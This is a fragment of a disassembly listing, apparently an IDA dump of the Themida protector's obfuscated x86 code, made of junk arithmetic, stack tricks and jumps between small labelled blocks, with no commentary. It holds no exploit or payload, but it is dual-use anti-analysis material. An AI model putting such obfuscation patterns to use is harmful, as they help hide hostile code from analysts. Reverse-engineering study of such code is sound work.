		xor	ebp, esi
		jmp	loc_5AA5C4
; ---------------------------------------------------------------------------


loc_5A73F7:				; CODE XREF: Themida_:0059B652j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A8011
; ---------------------------------------------------------------------------


loc_5A740F:				; CODE XREF: Themida_:005AC3C3j
		not	edx
		jmp	loc_59CEB3
; ---------------------------------------------------------------------------


loc_5A7416:				; CODE XREF: Themida_:0059AD12j
		shr	ebp, 7
		dec	ebp
		xor	ebp, 0A6627A9h
		inc	ebp
		xor	ebp, 0B9C4C4Bh
		mov	eax, ebp
		pop	ebp
		add	esi, eax
		mov	eax, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_59FF45
; ---------------------------------------------------------------------------


loc_5A7440:				; CODE XREF: Themida_:005AA34Dj
		mov	ebx, 249E7F87h
		mov	edi, 5F714A77h
		xor	edi, 12C5439h
		ja	loc_5A3187
		not	edi
		jmp	loc_5A54AD
; ---------------------------------------------------------------------------
		xor	ebp, 0AB7A0BDh
		pop	ecx


loc_5A7464:				; CODE XREF: Themida_:005AA8B7j
		add	eax, 0A2359D2Dh
		jmp	loc_5AA5FB
; ---------------------------------------------------------------------------


loc_5A746E:				; CODE XREF: Themida_:loc_59C9A2j
		shl	edi, 2
		add	edi, 1F0A2591h
		jno	loc_5AB704
		sub	edi, 107FB628h
		push	eax
		jmp	loc_5A34A0
; ---------------------------------------------------------------------------


loc_5A7489:				; CODE XREF: Themida_:005A1473j
		add	edx, ebp
		add	edx, 1A9E3C29h
		jmp	loc_59EC66
; ---------------------------------------------------------------------------


loc_5A7496:				; CODE XREF: Themida_:005A249Cj
		xor	eax, 7BEA1B95h
		or	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		push	54221799h
		mov	edx, [esp]
		jmp	loc_5ADF95
; ---------------------------------------------------------------------------


loc_5A74B1:				; CODE XREF: Themida_:005A9FE4j
		mov	esi, [esp]
		jmp	loc_5A627D
; ---------------------------------------------------------------------------


loc_5A74B9:				; CODE XREF: Themida_:005ADE82j
		sub	ebp, 779BEF74h
		add	ebx, ebp
		pop	ebp
		push	7238h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_598BE9
; ---------------------------------------------------------------------------


loc_5A74DA:				; CODE XREF: Themida_:005991D2j
		push	esi
		jmp	loc_5ADB23
; ---------------------------------------------------------------------------


loc_5A74E0:				; CODE XREF: Themida_:005A93F9j
		jmp	loc_5A1A26
; ---------------------------------------------------------------------------


loc_5A74E5:				; CODE XREF: Themida_:loc_5A026Aj
		sub	eax, 0FFFFFFFFh
		shr	eax, 6
		jmp	loc_5A62C7
; ---------------------------------------------------------------------------


loc_5A74F2:				; CODE XREF: Themida_:0059DC8Ej
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		jmp	loc_5AE85B
; ---------------------------------------------------------------------------


loc_5A7510:				; CODE XREF: Themida_:005AA03Bj
		jnz	loc_5ACE09
		jmp	loc_5AD775
; ---------------------------------------------------------------------------
		mov	[esp], edx
		mov	dl, 51h
		add	dl, 7Fh
		mov	ah, 75h


loc_5A7525:				; CODE XREF: Themida_:005AAE45j
		pop	ecx
		xor	edx, 687915CDh
		push	edx
		pop	ebx
		mov	edx, [esp]
		jmp	loc_5AE06B
; ---------------------------------------------------------------------------


loc_5A7536:				; CODE XREF: Themida_:005A69FBj
		shl	eax, 2
		push	edx
		jmp	loc_5ACB61
; ---------------------------------------------------------------------------


loc_5A753F:				; CODE XREF: Themida_:005A2476j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	edx, ebx
		and	ebx, 6E0567BEh
		xor	ebx, 7A855D95h
		jbe	loc_5A4AFB
		add	ebx, 66942AC8h
		jmp	loc_5AEA48
; ---------------------------------------------------------------------------


loc_5A7568:				; CODE XREF: Themida_:005A6FB5j
		mov	ebp, 4C8F6C43h
		shl	ebp, 6
		jmp	loc_59C1F6
; ---------------------------------------------------------------------------


loc_5A7575:				; CODE XREF: Themida_:005A6DD7j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5AD582
; ---------------------------------------------------------------------------


loc_5A7582:				; CODE XREF: Themida_:0059E3A2j
					; Themida_:005A2157j
		mov	edi, 2C74718Fh
		jmp	loc_5AC33E
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		jmp	loc_5A7F97
; ---------------------------------------------------------------------------


loc_5A7596:				; CODE XREF: Themida_:0059E25Ej
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	[esp], cl
		xor	cl, [esp]
		xor	[esp], cl
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A75AB:				; CODE XREF: Themida_:005A2AF1j
		mov	esi, 252F4AECh
		push	0
		add	dword ptr [esp], 212928E0h
		jmp	loc_59BB10
; ---------------------------------------------------------------------------


loc_5A75C1:				; CODE XREF: Themida_:00599FCFj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A6177
; ---------------------------------------------------------------------------


loc_5A75E2:				; CODE XREF: Themida_:005AB81Bj
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2B94h
		mov	[esp], ecx
		push	edi
		push	ebp
		mov	ebp, 7E3C2B7Ah
		jmp	loc_5A1CC6
; ---------------------------------------------------------------------------


loc_5A75FD:				; CODE XREF: Themida_:005A7B26j
		not	dword ptr [esp]
		inc	dword ptr [esp]
		pop	ebx
		xor	ebx, 0BA8CED51h
		jmp	loc_5A024F
; ---------------------------------------------------------------------------


loc_5A760F:				; CODE XREF: Themida_:0059C119j
					; Themida_:005A5016j
		neg	edx
		add	edx, 507F5522h
		jmp	loc_5AB4BF
; ---------------------------------------------------------------------------


loc_5A761C:				; CODE XREF: Themida_:005A44C7j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		jmp	loc_5AC9FC
; ---------------------------------------------------------------------------


loc_5A762F:				; CODE XREF: Themida_:005A86C2j
		mov	[esp], esi
		push	edi
		push	502C32C8h
		pop	edi
		jmp	loc_5A589C
; ---------------------------------------------------------------------------


loc_5A763E:				; CODE XREF: Themida_:0059D0E7j
		add	ecx, 20933698h
		shl	ecx, 2
		jnp	loc_59A8D8
		xor	ecx, 45A2DEE4h
		mov	esi, ecx
		pop	ecx
		sub	ecx, esi
		pop	esi
		xor	ecx, [esp]


loc_5A765C:				; CODE XREF: Themida_:loc_5A9C90j
		jmp	loc_5A737F
; ---------------------------------------------------------------------------


loc_5A7661:				; CODE XREF: Themida_:005A2F7Cj
		add	dl, 5
		mov	ch, dl
		pop	edx
		jmp	loc_59AFA2
; ---------------------------------------------------------------------------


loc_5A766C:				; CODE XREF: Themida_:005A6B80j
		pop	esi
		jmp	loc_5A96CF
; ---------------------------------------------------------------------------


loc_5A7672:				; CODE XREF: Themida_:0059A6EEj
					; Themida_:005A6DFEj
		mov	[esp], edx
		push	ebx
		mov	bl, 85h
		mov	dl, bl
		pop	ebx
		add	al, dl
		jmp	loc_5A90DC
; ---------------------------------------------------------------------------


loc_5A7682:				; CODE XREF: Themida_:0059D757j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ch, 4
		mov	dh, 67h
		jmp	loc_5A4D55
; ---------------------------------------------------------------------------


loc_5A769C:				; CODE XREF: Themida_:loc_5A5851j
					; Themida_:005A6278j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A8422
; ---------------------------------------------------------------------------


loc_5A76B4:				; CODE XREF: Themida_:005A848Dj
		mov	ebx, 61FB6D05h
		jmp	loc_5A4064
; ---------------------------------------------------------------------------


loc_5A76BE:				; CODE XREF: Themida_:005A1391j
		push	4C24h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5AF0B1
; ---------------------------------------------------------------------------


loc_5A76CD:				; CODE XREF: Themida_:0059A91Cj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A76E3:				; CODE XREF: Themida_:005AD04Cj
		add	esi, edx
		add	esi, 76D50DABh
		pop	edx
		jmp	loc_5A148B
; ---------------------------------------------------------------------------


loc_5A76F1:				; CODE XREF: Themida_:005988A4j
		sub	eax, 4CD9627Ah
		jmp	loc_59C1C7
; ---------------------------------------------------------------------------


loc_5A76FB:				; CODE XREF: Themida_:005A794Cj
		xchg	ecx, [esp]
		pop	esp
		push	bp
		xchg	ax, [esp]
		not	ax
		xchg	ax, [esp]
		mov	bp, [esp]
		push	ecx
		jmp	loc_59FD43
; ---------------------------------------------------------------------------


loc_5A7716:				; CODE XREF: Themida_:005A25F4j
		pop	edi
		xor	edx, 0EC379275h
		sub	ecx, edx
		pop	edx
		sub	ecx, 1321064Bh
		add	ecx, ebp
		jmp	loc_5A8885
; ---------------------------------------------------------------------------


loc_5A772D:				; CODE XREF: Themida_:0059DD7Bj
		add	ebx, eax
		push	7431h
		mov	[esp], edx
		mov	edx, 2F9F7511h
		sub	ebx, edx
		pop	edx
		push	esi
		mov	esi, 0F4F0D6Dh
		jmp	loc_5A9C00
; ---------------------------------------------------------------------------


loc_5A774A:				; CODE XREF: Themida_:005A83E6j
		not	ebx
		jmp	loc_5AB437
; ---------------------------------------------------------------------------


loc_5A7751:				; CODE XREF: Themida_:005ABD78j
		and	ebx, 7BF40681h
		jmp	loc_5A625C
; ---------------------------------------------------------------------------


loc_5A775C:				; CODE XREF: Themida_:005A12E0j
		sub	eax, 278E7559h
		sub	eax, ecx
		add	eax, 278E7559h
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A3F6B
; ---------------------------------------------------------------------------


loc_5A7773:				; CODE XREF: Themida_:0059E26Ej
		add	esi, 22C8E3C7h
		jmp	loc_59DA25
; ---------------------------------------------------------------------------


loc_5A777E:				; CODE XREF: Themida_:005A434Bj
		mov	ebx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_59BBCD
; ---------------------------------------------------------------------------


loc_5A7794:				; CODE XREF: Themida_:0059CAECj
		jmp	loc_5A9E49
; ---------------------------------------------------------------------------


loc_5A7799:				; CODE XREF: Themida_:005AB97Fj
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, 1526A184h
		sub	edx, ebp
		pop	ebp
		sub	edx, 728A3FF9h
		add	edx, eax
		push	ecx
		push	edi
		mov	edi, 5A9D2D0Fh
		sub	edi, 63EE48A8h
		push	ecx
		jmp	loc_5A03CB
; ---------------------------------------------------------------------------


loc_5A77C3:				; CODE XREF: Themida_:0059A5BEj
		xor	al, ch
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59CB6F
; ---------------------------------------------------------------------------


loc_5A77D1:				; CODE XREF: Themida_:005AE21Bj
		mov	edx, 6D1608B1h
		inc	edx
		jo	loc_59FBF7
		sub	edx, 44971BE5h
		jnp	loc_5A7AD4
		xor	edx, 7E5B4Dh
		jl	loc_598EC2
		mov	dl, cl
		push	esi


loc_5A77F8:				; CODE XREF: Themida_:0059BB03j
					; Themida_:0059DD95j
		add	bl, ch
		jmp	loc_5A6234
; ---------------------------------------------------------------------------


loc_5A77FF:				; CODE XREF: Themida_:0059DF09j
		sub	dword ptr [edi+20h], 5C6011E6h
		jmp	loc_5A4BF8
; ---------------------------------------------------------------------------


loc_5A780B:				; CODE XREF: Themida_:005A5D0Fj
		or	eax, 91D4568h
		jnz	loc_59DB0F
		push	6608h
		mov	[esp], esi
		push	eax
		mov	ebp, ebx
		mov	edi, edx


loc_5A7823:				; CODE XREF: Themida_:005A337Fj
					; Themida_:005A83AAj
		mov	ah, bl
		pop	ebx
		pop	ecx
		jmp	loc_59ABD5
; ---------------------------------------------------------------------------


loc_5A782C:				; CODE XREF: Themida_:005A60ADj
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A3790
; ---------------------------------------------------------------------------


loc_5A7840:				; CODE XREF: Themida_:0059B1D1j
		mov	[esp], cx
		mov	cl, 72h
		add	al, cl
		mov	cx, [esp]
		jmp	loc_59F19A
; ---------------------------------------------------------------------------


loc_5A7851:				; CODE XREF: Themida_:0059CAD8j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A7856:				; CODE XREF: Themida_:005A6544j
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5A2384
; ---------------------------------------------------------------------------


loc_5A7870:				; CODE XREF: Themida_:005983B9j
					; Themida_:005ACD0Aj
		dec	ebx
		jp	loc_5AE164
		inc	ebx
		jno	loc_59E0C7
		add	ebx, 583F9CBFh
		jmp	loc_5A6A25
; ---------------------------------------------------------------------------
		and	ecx, ebx


loc_5A788B:				; CODE XREF: Themida_:0059A0D5j
		mov	ebp, 30982E63h
		xor	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_59D180
; ---------------------------------------------------------------------------


loc_5A78A2:				; CODE XREF: Themida_:005A3A51j
		add	ebx, 868D5FF1h
		mov	esi, ebx
		pop	ebx
		jmp	loc_5A148B
; ---------------------------------------------------------------------------


loc_5A78B0:				; CODE XREF: Themida_:005A3A2Cj
		push	ebx
		push	edx
		push	13033889h
		pop	edx
		sub	edx, 39940AB4h
		jnz	loc_5ADD7F
		shl	edx, 5
		jnz	loc_5A342D
		mov	bl, ah


loc_5A78CF:				; CODE XREF: Themida_:005A22DEj
		xor	edx, 8B21CDFFh
		push	ebp
		jmp	loc_5A193A
; ---------------------------------------------------------------------------


loc_5A78DB:				; CODE XREF: Themida_:005A22EBj
					; Themida_:005A908Fj
		mov	bx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		xor	ch, dl
		xor	dl, ch
		xor	ch, dl
		xchg	al, dl
		push	eax
		xchg	al, [esp]
		not	al
		xchg	al, [esp]
		mov	eax, [esp]
		add	esp, 4
		xchg	al, dl
		xchg	dl, ch
		push	238Ch
		jmp	loc_59DB7B
; ---------------------------------------------------------------------------


loc_5A7920:				; CODE XREF: Themida_:005AE4E1j
		jmp	loc_5AAFE4
; ---------------------------------------------------------------------------


loc_5A7925:				; CODE XREF: Themida_:005A8CF8j
		xor	ecx, ebx
		pop	ebx
		sub	esi, 4184393Eh
		jmp	loc_59B069
; ---------------------------------------------------------------------------


loc_5A7933:				; CODE XREF: Themida_:005AAA87j
		xor	ch, al
		mov	ax, [esp]
		add	esp, 2
		add	bh, ch
		mov	ecx, [esp]
		jmp	loc_5AE338
; ---------------------------------------------------------------------------


loc_5A7949:				; CODE XREF: Themida_:00598C09j
					; Themida_:005A46DCj
		add	ecx, 2
		jmp	loc_5A76FB
; ---------------------------------------------------------------------------


loc_5A7951:				; CODE XREF: Themida_:005A6B79j
		push	15FBh
		mov	[esp], esi
		jmp	loc_5A943B
; ---------------------------------------------------------------------------


loc_5A795E:				; CODE XREF: Themida_:0059CC7Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5ACBBE
; ---------------------------------------------------------------------------


loc_5A7970:				; CODE XREF: Themida_:005A7B48j
		add	ecx, 30614080h
		or	ecx, 9912394h
		jmp	loc_59B2BF
; ---------------------------------------------------------------------------


loc_5A7981:				; CODE XREF: Themida_:005A70A4j
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59B8BA
; ---------------------------------------------------------------------------


loc_5A7991:				; CODE XREF: Themida_:005AB26Bj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 5591E80h
		mov	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		dec	ecx
		push	ebx
		mov	ebx, 50055733h
		xor	ebx, 5D1C2DDAh
		jmp	loc_5988D9
; ---------------------------------------------------------------------------


loc_5A79C1:				; CODE XREF: Themida_:005A6A48j
		mov	ecx, 4762653Eh
		push	eax
		push	ecx
		push	52A315D8h
		pop	ecx
		jmp	loc_5A39AF
; ---------------------------------------------------------------------------


loc_5A79D3:				; CODE XREF: Themida_:005ABDDAj
		xor	ecx, 72E4326Bh
		sub	esi, ecx
		jmp	loc_598868
; ---------------------------------------------------------------------------


loc_5A79E0:				; CODE XREF: Themida_:005AAC5Aj
		add	edi, 78B63B7Ah
		add	edi, esi
		sub	edi, 78B63B7Ah
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5988E3
; ---------------------------------------------------------------------------


loc_5A79F9:				; CODE XREF: Themida_:0059F2E0j
		mov	ebp, ebx
		jmp	loc_5A61D4
; ---------------------------------------------------------------------------


loc_5A7A00:				; CODE XREF: Themida_:005A7DE6j
		push	13F6h
		jmp	loc_5AB0EF
; ---------------------------------------------------------------------------


loc_5A7A0A:				; CODE XREF: Themida_:0059DDE7j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		jmp	loc_5AD051
; ---------------------------------------------------------------------------


loc_5A7A23:				; CODE XREF: Themida_:0059CE69j
		mov	eax, 0F1C748Bh
		add	eax, 3A10743Bh
		shl	eax, 8
		jmp	loc_5A66D5
; ---------------------------------------------------------------------------


loc_5A7A35:				; CODE XREF: Themida_:0059E2B0j
		mov	ah, 70h
		jmp	loc_5A5CE9
; ---------------------------------------------------------------------------


loc_5A7A3C:				; CODE XREF: Themida_:0059E2D5j
		xchg	eax, [esp]
		jmp	loc_598FCD
; ---------------------------------------------------------------------------


loc_5A7A44:				; CODE XREF: Themida_:005A93BDj
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_5AC3E4
; ---------------------------------------------------------------------------


loc_5A7A4D:				; CODE XREF: Themida_:0059E763j
		or	ah, 0E6h
		dec	ah
		add	ah, 5Bh
		xor	dh, ah
		jmp	loc_59F40D
; ---------------------------------------------------------------------------


loc_5A7A5C:				; CODE XREF: Themida_:005A0ADEj
		jmp	loc_5A2E3F
; ---------------------------------------------------------------------------


loc_5A7A61:				; CODE XREF: Themida_:005A19E2j
		sub	ebx, 140148EAh
		xor	ebx, 343970E5h
		jz	loc_5A49A3
		sub	ebx, 66CE398Dh
		or	ebx, 51FE5C76h
		jnp	loc_5A1B15
		push	ebp
		jmp	loc_59BC13
; ---------------------------------------------------------------------------


loc_5A7A8B:				; CODE XREF: Themida_:005A088Aj
		xor	edx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5A2CAA
; ---------------------------------------------------------------------------


loc_5A7A97:				; CODE XREF: Themida_:005A2D76j
		mov	ecx, 6156DF1h
		mov	ebx, ecx
		jmp	loc_5A1A26
; ---------------------------------------------------------------------------


loc_5A7AA3:				; CODE XREF: Themida_:005A97F3j
		push	ebx
		jmp	loc_5A676C
; ---------------------------------------------------------------------------


loc_5A7AA9:				; CODE XREF: Themida_:005A8BCEj
		add	edx, 35EE7308h
		push	eax
		mov	eax, 0A421F4Fh
		add	edx, eax
		jmp	loc_5A0E1B
; ---------------------------------------------------------------------------


loc_5A7ABC:				; CODE XREF: Themida_:005A2E9Aj
		pop	esp
		push	562Fh
		jmp	loc_5AC7CF
; ---------------------------------------------------------------------------


loc_5A7AC7:				; CODE XREF: Themida_:0059E7C9j
		push	edi
		mov	edi, 6B0266A2h
		inc	edi
		push	ecx
		jmp	loc_5A2E77
; ---------------------------------------------------------------------------


loc_5A7AD4:				; CODE XREF: Themida_:005A77E3j
		xor	edx, 7E5B4Dh
		jl	loc_59BF4D
		jmp	loc_59E1BB
; ---------------------------------------------------------------------------


loc_5A7AE5:				; CODE XREF: Themida_:0059C967j
		pop	ecx
		push	esi
		mov	esi, 0B63778Ch
		push	edi
		mov	edi, 7597038Bh
		and	esi, edi
		pop	edi
		sub	esi, 0ED50EA2h
		shl	esi, 7
		jmp	loc_5A1B94
; ---------------------------------------------------------------------------


loc_5A7B03:				; CODE XREF: Themida_:005AA535j
		add	ebx, ecx
		jmp	loc_5AA339
; ---------------------------------------------------------------------------


loc_5A7B0A:				; CODE XREF: Themida_:005A3E1Dj
		add	ebx, ebp
		pop	ebp
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 4D23F53Bh
		xor	esi, ebx
		jmp	loc_5986D6
; ---------------------------------------------------------------------------


loc_5A7B1D:				; CODE XREF: Themida_:0059849Cj
		add	esp, 4
		jmp	loc_59A602
; ---------------------------------------------------------------------------


loc_5A7B25:				; CODE XREF: Themida_:005A4C98j
		push	ebx
		jmp	loc_5A75FD
; ---------------------------------------------------------------------------


loc_5A7B2B:				; CODE XREF: Themida_:0059D4F3j
		xor	ebx, eax
		sub	esp, 4
		mov	[esp], edi
		push	18DF592Ah
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ecx
		mov	ecx, 0E384470h
		jmp	loc_5A7970
; ---------------------------------------------------------------------------
		xchg	cl, [esp]
		push	ebx
		mov	bl, cl
		jmp	loc_5A38D5
; ---------------------------------------------------------------------------


loc_5A7B58:				; CODE XREF: Themida_:005A9F8Fj
		or	ebp, 49694785h
		jo	loc_5A218C
		neg	ebp
		jz	loc_5AD3FD
		sub	ebp, 5EF894E5h
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_5A260E
; ---------------------------------------------------------------------------


loc_5A7B7C:				; CODE XREF: Themida_:0059D95Aj
		add	edx, 1C083D7Ah
		push	edx
		jmp	loc_5A6860
; ---------------------------------------------------------------------------


loc_5A7B88:				; CODE XREF: Themida_:00599810j
					; Themida_:0059ED30j
		pop	ebx
		jmp	loc_59D553
; ---------------------------------------------------------------------------


loc_5A7B8E:				; CODE XREF: Themida_:0059E807j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59FDD4
; ---------------------------------------------------------------------------


loc_5A7B9E:				; CODE XREF: Themida_:005A82FDj
		mov	[esp], edi
		push	4B8C4852h
		pop	edi
		push	eax
		mov	eax, 5605768Fh
		neg	eax
		sub	eax, 858B4808h
		or	edi, eax
		pop	eax
		xor	edi, 2B106C02h
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, eax
		sub	ebp, 44FF2579h
		pop	eax
		jmp	loc_59B0F1
; ---------------------------------------------------------------------------


loc_5A7BD3:				; CODE XREF: Themida_:005AA911j
		add	esi, ecx
		pop	ecx
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A7BE6:				; CODE XREF: Themida_:005ACD4Fj
		add	edi, 0E04BC479h
		push	7C5h
		mov	[esp], ebx
		mov	ebx, edi
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		add	ebx, eax
		jmp	loc_59B28B
; ---------------------------------------------------------------------------


loc_5A7C0E:				; CODE XREF: Themida_:0059CB4Ej
		pop	ebp
		xor	ebp, 7D4103A0h
		jmp	loc_5987CE
; ---------------------------------------------------------------------------


loc_5A7C1A:				; CODE XREF: Themida_:0059EFFBj
		sub	al, cl
		push	edx
		mov	dl, 0C0h
		shl	dl, 7
		or	dl, 0B0h
		neg	dl
		not	dl
		inc	dl
		add	dl, 8Ah
		add	al, dl
		pop	edx
		pop	ecx
		sub	al, bl
		sub	esp, 4
		jmp	loc_59DF6E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59FF6C
; ---------------------------------------------------------------------------


loc_5A7C4A:				; CODE XREF: Themida_:0059CB85j
		add	edx, 4
		jmp	loc_598AD2
; ---------------------------------------------------------------------------


loc_5A7C52:				; CODE XREF: Themida_:005A8F33j
		dec	ch
		push	47C3h
		mov	[esp], ebx
		mov	bl, 18h
		push	0
		jmp	loc_5AAEE7
; ---------------------------------------------------------------------------


loc_5A7C68:				; CODE XREF: Themida_:005A9430j
		push	20A9h
		mov	[esp], esi
		push	4D51h
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	esi
		jmp	loc_5A0A98
; ---------------------------------------------------------------------------


loc_5A7C89:				; CODE XREF: Themida_:005A2624j
					; Themida_:005AF270j
		pop	edx
		jmp	loc_5A1191
; ---------------------------------------------------------------------------


loc_5A7C8F:				; CODE XREF: Themida_:005A8AC2j
		pop	esi
		push	ebx
		push	edi
		mov	edi, 2760B40h
		jmp	loc_5A51E2
; ---------------------------------------------------------------------------


loc_5A7C9C:				; CODE XREF: Themida_:005AF42Cj
		mov	ebx, eax
		pop	eax
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 34C07FA1h
		xor	esi, edi
		pop	edi
		push	ecx
		mov	ecx, 41386CD7h
		jmp	loc_5A2377
; ---------------------------------------------------------------------------


loc_5A7CBE:				; CODE XREF: Themida_:0059E936j
		add	esp, 2
		jmp	loc_5A3A14
; ---------------------------------------------------------------------------


loc_5A7CC6:				; CODE XREF: Themida_:00599639j
		mov	esi, 51F9307Dh
		jmp	loc_59C6C9
; ---------------------------------------------------------------------------


loc_5A7CD0:				; CODE XREF: Themida_:0059B064j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A4E6E
; ---------------------------------------------------------------------------


loc_5A7CDB:				; CODE XREF: Themida_:0059EF7Aj
		mov	ebx, 33017BC8h
		jmp	loc_598983
; ---------------------------------------------------------------------------


loc_5A7CE5:				; CODE XREF: Themida_:0059A3FFj
		pop	esi
		shl	ecx, 8
		jmp	loc_5A5041
; ---------------------------------------------------------------------------


loc_5A7CEE:				; CODE XREF: Themida_:005A4FDFj
		jo	loc_5A96FC
		jmp	loc_5A1FD8
; ---------------------------------------------------------------------------


loc_5A7CF9:				; CODE XREF: Themida_:005A5A25j
		pop	edx
		add	esp, 4
		sub	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_5A6104
; ---------------------------------------------------------------------------


loc_5A7D0A:				; CODE XREF: Themida_:005A4D85j
		pop	ebp
		jmp	loc_5A6B4D
; ---------------------------------------------------------------------------


loc_5A7D10:				; CODE XREF: Themida_:005AEA93j
		jmp	loc_5A966D
; ---------------------------------------------------------------------------


loc_5A7D15:				; CODE XREF: Themida_:0059C9CEj
		jns	loc_598FA3
		add	edx, 481625D6h
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	esi


loc_5A7D28:				; CODE XREF: Themida_:005AE780j
		add	ebp, edx
		push	ebx
		mov	ebx, 20760BFDh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_59EC32
; ---------------------------------------------------------------------------


loc_5A7D38:				; CODE XREF: Themida_:005A0A77j
					; Themida_:005A871Cj
		jmp	loc_5A9D7F
; ---------------------------------------------------------------------------


loc_5A7D3D:				; CODE XREF: Themida_:005A1828j
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 4
		jmp	loc_5A8056
; ---------------------------------------------------------------------------


loc_5A7D4A:				; CODE XREF: Themida_:005A4C73j
		add	ebx, edx
		push	8D6h
		jmp	loc_59AC09
; ---------------------------------------------------------------------------


loc_5A7D56:				; CODE XREF: Themida_:0059AA69j
					; Themida_:005A4227j
		push	edi
		mov	edi, esp
		jmp	loc_5ABF07
; ---------------------------------------------------------------------------


loc_5A7D5E:				; CODE XREF: Themida_:loc_5AD73Cj
		inc	bh
		jmp	loc_5A5851
; ---------------------------------------------------------------------------


loc_5A7D65:				; CODE XREF: Themida_:005996D2j
					; Themida_:005A336Aj
		push	esi
		jmp	loc_59B7FB
; ---------------------------------------------------------------------------


loc_5A7D6B:				; CODE XREF: Themida_:0059FA2Fj
					; Themida_:005A2F5Cj
		inc	bl
		push	edx
		jmp	loc_59CBE4
; ---------------------------------------------------------------------------


loc_5A7D73:				; CODE XREF: Themida_:005A288Dj
		xor	esi, 3FDB78F1h
		jmp	loc_5991D7
; ---------------------------------------------------------------------------


loc_5A7D7E:				; CODE XREF: Themida_:00599ABBj
		add	esp, 2
		jmp	loc_5A6DFB
; ---------------------------------------------------------------------------


loc_5A7D86:				; CODE XREF: Themida_:005A49AFj
					; Themida_:005A54A8j ...
		push	esi
		push	eax
		mov	eax, 7610C38h
		sub	eax, 6DB04AEAh
		neg	eax
		shl	eax, 2
		or	eax, 4317A0Eh
		push	ecx
		jmp	loc_5AA5AE
; ---------------------------------------------------------------------------


loc_5A7DA2:				; CODE XREF: Themida_:00599011j
		mov	[esp], ecx
		jmp	loc_59FBD6
; ---------------------------------------------------------------------------


loc_5A7DAA:				; CODE XREF: Themida_:005AD2F1j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A7DAF:				; CODE XREF: Themida_:0059987Fj
		sub	esi, ecx
		pop	ecx
		push	ebp
		push	esi
		pop	ebp
		mov	eax, ebp
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		inc	eax
		push	edi
		jmp	loc_5AAAD1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		push	1BDCh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
